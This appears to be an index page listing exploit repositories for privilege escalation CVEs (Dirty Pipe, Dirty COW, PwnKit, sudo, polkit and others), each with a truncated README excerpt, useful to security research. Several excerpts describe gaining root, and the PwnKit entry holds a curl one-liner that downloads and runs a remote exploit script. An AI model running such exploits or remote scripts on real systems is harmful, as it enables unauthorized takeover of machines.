CVE-2025-40602

CVE-2025-40602 CVE-2025-40602 is a local privilege escalation vulnerability in the appliance management console AMC of SonicWall Secure Mobile Access SMA 1000 series appliances. The vulnerability stems from insufficient authorization in the AMC, allowing authenticated remote attackers to escalate...

Blackash-CVE-2025-41115

🔐 CVE-2025-41115: Critical Grafana SCIM Privilege Escalation Critical SCIM Privilege-Escalation Vulnerability in Grafana Enterprise 🌟 Summary CVE-2025-41115 is a Critical CVSS 10.0 vulnerability in Grafana Enterprise affecting its SCIM user-provisioning feature. When SCIM provisioning is enabled...

CVE-2025-6019

CVE-2025-6019: libblockdev Local Privilege Escalation Vulnerability Summary CVE-2025-6019 is a local privilege escalation LPE vulnerability discovered in the libblockdev library, which interacts with the udisks2 daemon and Polkit. Vulnerability Description A local attacker with allowactive Polkit...

CVE-2020-24088

CVE-2020-24088 Windows Privilege Escalation An issue was discovered in MmMapIoSpace routine in Foxconn Live Update Utility 2.1.6.26, allows local attackers to escalate privileges. CVE link - https://vulners.com/cve/CVE-2020-24088...

CVE-2024-51378

CVE-2024-51378 — Summary, Mitigation, and Documentation Safe Repository ⚠️ Ethical & legal warning All materials in this repository are for educational purposes, legitimate security research, and testing on environments you own or have explicit permission. Do not run these tools or scripts against...

linux-privilege-escalation

Linux Privilege Escalation Bash script to check and exploit the CVE-2022-0847 Linux "Dirty Pipe" vulnerability About this Proof of Concept This script allows an unprivileged user on a vulnerable system to do the following: Modify/overwrite read-only files like /etc/passwd. Obtain an elevated shel...

CVE-2025-32463-Sudo-Privilege-Escalation

CVE-2025-32463-Sudo-Privilege-Escalation ✔️ Completed on HackViser VIP Challenge This repository contains a working exploit for CVE-2025-32463 , a critical vulnerability CVSS 9.3 affecting sudo versions 1.9.14 → 1.9.17 that allows local privilege escalation to ROOT by abusing the --chroot -R...

CVE-2020-23968-ILEX-SignGo-EoP

CVE-2020-23968 Ilex International Sign&go Workstation Security Suite 7.1 allows elevation of privileges via a symlink attack on C:\ProgramData\Ilex\S&G\Logs\000-sngWSService1.log...

tu-TOCTOU-kaiu-TOCMEU-CVE-2020-13162-

Pulse Secure Windows Client https://www.redtimmy.com/privilege-escalation/pulse-secure-windows-client/ and https://www.redtimmy.com/privilege-escalation/pulse-secure-client-for-windows-9-1-6-toctou-privilege-escalation-cve-2020-13162/...

CVE-2025-3102

🔐 CVE-2025-3102 – Authentication Bypass in SureTriggers WordPress Plugin 🚨 CVE-2025-3102 is a critical authentication bypass vulnerability affecting the SureTriggers: All-in-One Automation Platform WordPress plugin, which is actively installed on over 100,000 websites. Due to the nature of the fl...

CVE-2014-4322_poc

CVE-2014-4322poc poc code works on Nexus Android 4.4/5.0 Gain privileges:system - root,as a part of https://github.com/retme7/CVE-2014-7911poc author: retme [email protected] @returnsme on twitter & @retme on weibo website: retme.net The exploit must be excuted as system privilege and severa...

l2tp-socket-bug

CVE-2014-4943 La función PPPoL2TP en net/l2tp/l2tpppp.c en el kernel de Linux hasta 3.15.6 permite a los usuarios locales obtener privilegios aprovechando las diferencias de estructura de datos entre un socket l2tp y un socket inet. CVSS v2 Puntuación base: 6.9 MEDIO...

HyperSine

HyperSine CVE-2019-9729. Transferred from https://github.com/DoubleLabyrinth/SdoKeyCrypt-sys-local-privilege-elevation...

polkit-CVE-2021-3560_writeup

Try Hack Me - Polkit:CVE-2021-3560 Author: Atharva Bordavekar Difficulty: Info Points: 32 Vulnerability: CVE-2021-3560 we will first check the version of the polkit version to get some better insights. apt list --installed | grep policykit-1 policykit-1/focal,now 0.105-26ubuntu1 amd64...

adups-get-super-serial

adups-get-super-serial CVE-2015-2231 Prueba de Concepto La POC que estaba usando para demostrar CVE-2015-2231 'Get Super Serial'. Algunas personas me pidieron que la publicara para que pudieran usar cosas similares en otros dispositivos basados en firmware ADUPS que tienen esta vulnerabilidad...

CVE-2024-49019-rayng

Exploiting CVE-2024-49019: Certificate Authority Privilege Escalation Overview CVE-2024-49019 is a vulnerability in Active Directory Certificate Services AD CS that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide demonstrates how to exploit this...

cve-2013-2094

= CVE-2013-2094 code for http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ == How to build You need to build the C file of your choice like this: gcc -O2 file-name.c -O2 is required due to how the exploit actually works see the blog post for more...

Exploit-Dirty-Cow

Exploit - Dirty Cow CVE-2016-5195 Privilege Escalation Lab | Linux Kernel Exploit 📋 Overview Hands-on lab reproducing the DirtyCow vulnerability CVE-2016-5195, a critical race condition found in the Linux kernel that allows unprivileged users to gain write access to read-only memory mappings,...

dirtycow

✅ Requirements / Affected Kernel Version Dirty COW adalah Local Privilege Escalation LPE di Linux kernel yang dikenal sebagai CVE-2016-5195. :contentReferenceoaicite:0index=0 🎯 Vulnerable Kernel Secara umum, Dirty COW berdampak pada Linux kernel 2.x sampai 4.x sebelum 4.8.3...

PwnKit

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...